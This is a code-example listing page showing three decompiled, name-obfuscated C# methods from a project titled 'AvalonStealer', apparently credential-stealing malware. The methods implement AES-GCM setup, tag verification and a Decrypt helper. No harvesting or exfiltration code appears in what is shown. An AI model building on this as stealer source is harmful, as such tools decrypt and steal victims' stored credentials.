コード例 #1
0
ファイル: Class_33.cs プロジェクト: shinobiclan/AvalonStealer
        // Token: 0x060000BB RID: 187 RVA: 0x00006B9C File Offset: 0x00004D9C
        public void tmethod_92(byte[] byteDizi_0, int sayıInt_0)
        {
            int num = this.field_5;

            if (!this.field_7)
            {
                if (num < this.field_13)
                {
                    throw new Class_38("data too short");
                }
                num -= this.field_13;
            }
            if (num > 0)
            {
                byte[] array = new byte[16];
                Array.Copy(this.field_4, 0, array, 0, num);
                this.cmethod_94(array, num, byteDizi_0, sayıInt_0);
            }
            byte[] array2 = new byte[16];
            Class_33.dmethod_96((ulong)((long)this.field_3.Length * 8L), array2, 0);
            Class_33.dmethod_96(this.field_16 * 8UL, array2, 8);
            Class_34.cmethod_104(this.field_15, array2);
            this.field_2.xmethod_111(this.field_15);
            byte[] array3 = new byte[16];
            this.field_1.lmethod_108(this.field_10, 0, array3, 0);
            Class_34.cmethod_104(array3, this.field_15);
            this.field_12 = new byte[this.field_13];
            Array.Copy(array3, 0, this.field_12, 0, this.field_13);
            if (this.field_7)
            {
                Array.Copy(this.field_12, 0, byteDizi_0, sayıInt_0 + this.field_5, this.field_13);
            }
            else
            {
                byte[] array4 = new byte[this.field_13];
                Array.Copy(this.field_4, num, array4, 0, this.field_13);
                if (!Class_29.ConstantTimeAreEqual(this.field_12, array4))
                {
                    throw new Class_38("mac check in GCM failed");
                }
            }
            this.gmethod_93(false);
        }
コード例 #2
0
        // Token: 0x060000B0 RID: 176 RVA: 0x000064C4 File Offset: 0x000046C4
        public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
        {
            string text = string.Empty;
            string result;

            try
            {
                Class_33 class_ = new Class_33(new Class_27(), null);
                Class_26 arg_   = new Class_26(new Class_39(key), 128, iv, null);
                class_.pmethod_89(false, arg_);
                byte[] array    = new byte[class_.smethod_90(encryptedBytes.Length)];
                int    sayıInt_ = class_.xmethod_91(encryptedBytes, 0, encryptedBytes.Length, array, 0);
                class_.tmethod_92(array, sayıInt_);
                text   = Encoding.UTF8.GetString(array).TrimEnd("\r\n\0".ToCharArray());
                result = text;
            }
            catch
            {
                result = text;
            }
            return(result);
        }
コード例 #3
0
ファイル: Class_33.cs プロジェクト: shinobiclan/AvalonStealer
        // Token: 0x060000B8 RID: 184 RVA: 0x00006848 File Offset: 0x00004A48
        public virtual void pmethod_89(bool bool_0, Class_44 arg_0)
        {
            this.field_7  = bool_0;
            this.field_12 = null;
            if (arg_0 is Class_26)
            {
                Class_26 class_ = (Class_26)arg_0;
                this.field_14 = class_.gmethod_73();
                this.field_3  = class_.tmethod_72();
                int num = class_.prop_1;
                if (num < 96 || num > 128 || num % 8 != 0)
                {
                    throw new ArgumentException("Invalid value for MAC size: " + num.ToString());
                }
                this.field_13 = num / 8;
                this.field_11 = class_.prop_0;
            }
            else
            {
                if (!(arg_0 is Class_41))
                {
                    throw new ArgumentException("invalid parameters passed to GCM");
                }
                Class_41 class_2 = (Class_41)arg_0;
                this.field_14 = class_2.cmethod_114();
                this.field_3  = null;
                this.field_13 = 16;
                this.field_11 = (Class_39)class_2.prop_0;
            }
            int num2 = bool_0 ? 16 : (16 + this.field_13);

            this.field_4 = new byte[num2];
            if (this.field_14 == null || this.field_14.Length < 1)
            {
                throw new ArgumentException("IV must be at least 1 byte");
            }
            if (this.field_3 == null)
            {
                this.field_3 = new byte[0];
            }
            this.field_1.dmethod_106(true, this.field_11);
            this.field_8 = new byte[16];
            this.field_1.lmethod_108(this.field_8, 0, this.field_8, 0);
            this.field_2.smethod_110(this.field_8);
            this.field_9 = this.vmethod_95(this.field_3);
            if (this.field_14.Length == 12)
            {
                this.field_10 = new byte[16];
                Array.Copy(this.field_14, 0, this.field_10, 0, this.field_14.Length);
                this.field_10[15] = 1;
            }
            else
            {
                this.field_10 = this.vmethod_95(this.field_14);
                byte[] array = new byte[16];
                Class_33.dmethod_96((ulong)((long)this.field_14.Length * 8L), array, 8);
                Class_34.cmethod_104(this.field_10, array);
                this.field_2.xmethod_111(this.field_10);
            }
            this.field_15 = Class_29.Clone(this.field_9);
            this.field_6  = Class_29.Clone(this.field_10);
            this.field_5  = 0;
            this.field_16 = 0UL;
        }